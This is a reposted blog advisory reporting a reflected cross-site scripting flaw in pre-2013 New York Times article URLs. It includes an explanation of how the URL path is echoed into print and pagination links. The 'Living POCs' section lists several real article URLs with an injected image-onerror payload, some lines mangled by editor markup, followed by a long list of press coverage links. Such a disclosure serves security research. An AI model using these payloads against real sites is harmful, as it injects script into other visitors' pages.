咬定青山不放松,立根原在破岩中。千磨万击还坚劲,任尔东西南北风

© 竹意 | Powered by LOFTER

New York Times nytimes.com Page Design XSS Vulnera

来自:tetraph

New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

 

 

 

Domain:

http://www.nytimes.com/

 

 

 

 

Vulnerability Description:

The vulnerability occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.

 

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

 

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

 

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

 

 

 

 

 

Living POCs:

" href="http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E" data-mce-href="http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//'%20">">http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//' "><img src=x onerror=prompt(/justqdjing/)>
?pagewanted=all&_r=0" href="http://www.tetraph.com/blog/wp-admin/%20http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E?pagewanted=all&_r=0" data-mce-href="%20http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//' ">?pagewanted=all&_r=0"> http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//' "><img src=x onerror=prompt(/justqdjing/)>?pagewanted=all&_r=0
" href="http://www.tetraph.com/blog/wp-admin/%20http://www.nytimes.com/2010/12/07/opinion/07brooks.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E" data-mce-href="%20http://www.nytimes.com/2010/12/07/opinion/07brooks.html//' ">"> http://www.nytimes.com/2010/12/07/opinion/07brooks.html//' "><img src=x onerror=prompt(/justqdjing/)>
" href="http://www.tetraph.com/blog/wp-admin/%20http://www.nytimes.com/2009/08/06/technology/06stats.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E" data-mce-href="%20http://www.nytimes.com/2009/08/06/technology/06stats.html//' ">"> http://www.nytimes.com/2009/08/06/technology/06stats.html//' "><img src=x onerror=prompt(/justqdjing/)>
" href="http://www.tetraph.com/blog/wp-admin/%20http://www.nytimes.com/2008/07/09/dining/091crex.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E" data-mce-href="%20http://www.nytimes.com/2008/07/09/dining/091crex.html//' ">"> http://www.nytimes.com/2008/07/09/dining/091crex.html//' "><img src=x onerror=prompt(/justqdjing/)>
" href="http://www.tetraph.com/blog/wp-admin/%20http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//%27%20%22%3E%3Cimg%20src=x%20onerror=prompt%28/justqdjing/%29%3E" data-mce-href="%20http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//' ">"> http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//' "><img src=x onerror=prompt(/justqdjing/)>

 

 

 

 

 

 

POC Video:

https://www.youtube.com/user/tetraph

 

 

 

 

 

Vulnerability Analysis:

Take the following link as an example,

http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/“><vulnerabletoattack

 

We can see that for the page reflected, it contains the following codes. All of them are vulnerable.

 

<li class=”print”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>

</li>

 

<li class=”singlePage”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>

 </li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a> </li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a> </li>

 

<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page ?</testtesttest?pagewanted=2″></a>

 

 

 

 

 

 

The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

 

 

 

 

 

 

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

 

 

 

 

 

 

Reported By:

Wang Jing, mathematics student from Nanyang Technological University, Singapore.

http://tetraph.com/wangjing/

 

 

 

 

 

More Details:

http://www.tetraph.com/blog/xss-vulnerability/new-york-times-nytimes-com-page-design-xss-vulnerability-almost-all-article-pages-are-affected/

http://www.tomsguide.com/us/xss-flaw-ny-times,news-19784.html

http://www.tetraph.com/blog/xss-vulnerability/new-york-times-nytimes-com-page-design-xss-vulnerability-almost-all-article-pages-are-affected/

http://www.hotforsecurity.com/blog/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013-10555.html

http://news.softpedia.com/news/XSS-Risk-Found-In-Links-to-New-York-Times-Articles-Prior-to-2013-462334.shtml

http://itsecuritynews.info/2014/10/16/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013/

https://www.youtube.com/watch?v=RekCK5tjXWQ

http://infopunk.org/main/blog/2014/10/16/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013/

http://worldnew.org/xss-flaw-may-exist-in-the-old-new-york-times-article-pages.html

https://twitter.com/justqdjing

http://securitynewswire.com/securitynews2012/article.php?title=XSS_Risk_Found_in_Links_to_New_York_Times_Articles_Prior_to_2013

http://sec.jetlib.com/Full_Disclosure/2014/10/15/Advisory_01_2014:_Drupal7_-_pre_Auth_SQL_InjectionVulnerability

https://www.marshut.net/kqipvz/new-york-times-nytimes-com-page-design-xss-vulnerability-almost-all-article-pages-before-2013-are-affected.html

http://news.silobreaker.com/jing-wang-11_3420080

http://www.tudou.com/programs/view/qkX60p9KHsk/

http://www.outofspecs.gr/tech-news/18408-xss-%CE%BA%CE%AF%CE%BD%CE%B4%CF%85%CE%BD%CE%BF%CE%B9-%CE%B5%CE%BD%CF%84%CE%BF%CF%80%CE%AF%CF%83%CF%84%CE%B7%CE%BA%CE%B1%CE%BD-%CF%83%CE%B5-%CF%83%CF%85%CE%BD%CE%B4%CE%AD%CF%83%CE%BC%CE%BF%CF%85%CF%82-%CF%83%CF%84%CE%BF-new-york-times-%CF%83%CE%B5-%CE%AC%CF%81%CE%B8%CF%81%CE%B1-%CF%80%CF%81%CE%B9%CE%BD-%CF%84%CE%BF-2013.html

http://tilegrafos.gr/XSS-kindunoi-entopistikan-se-sundesmous-sto-New-York-Times-se-arthra-prin-to-2013.html

http://essayjeans.blog.163.com/blog/static/237173074201491510534996/

http://telezkope.com/Technology/Programming/3321242/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013

http://v.youku.com/v_show/id_XNzExNDY3OTI0.html

http://blog.sina.com.cn/s/blog_ecd65d410102v6in.html

http://tetraph.blogspot.sg/2014/10/des-vulnerabilites-pour-les-boutons.html

http://whitehatview.tumblr.com/post/101411985996

http://securityrelated.blogspot.sg/2014/10/des-vulnerabilites-pour-les-boutons.html

 
评论
 
回到顶部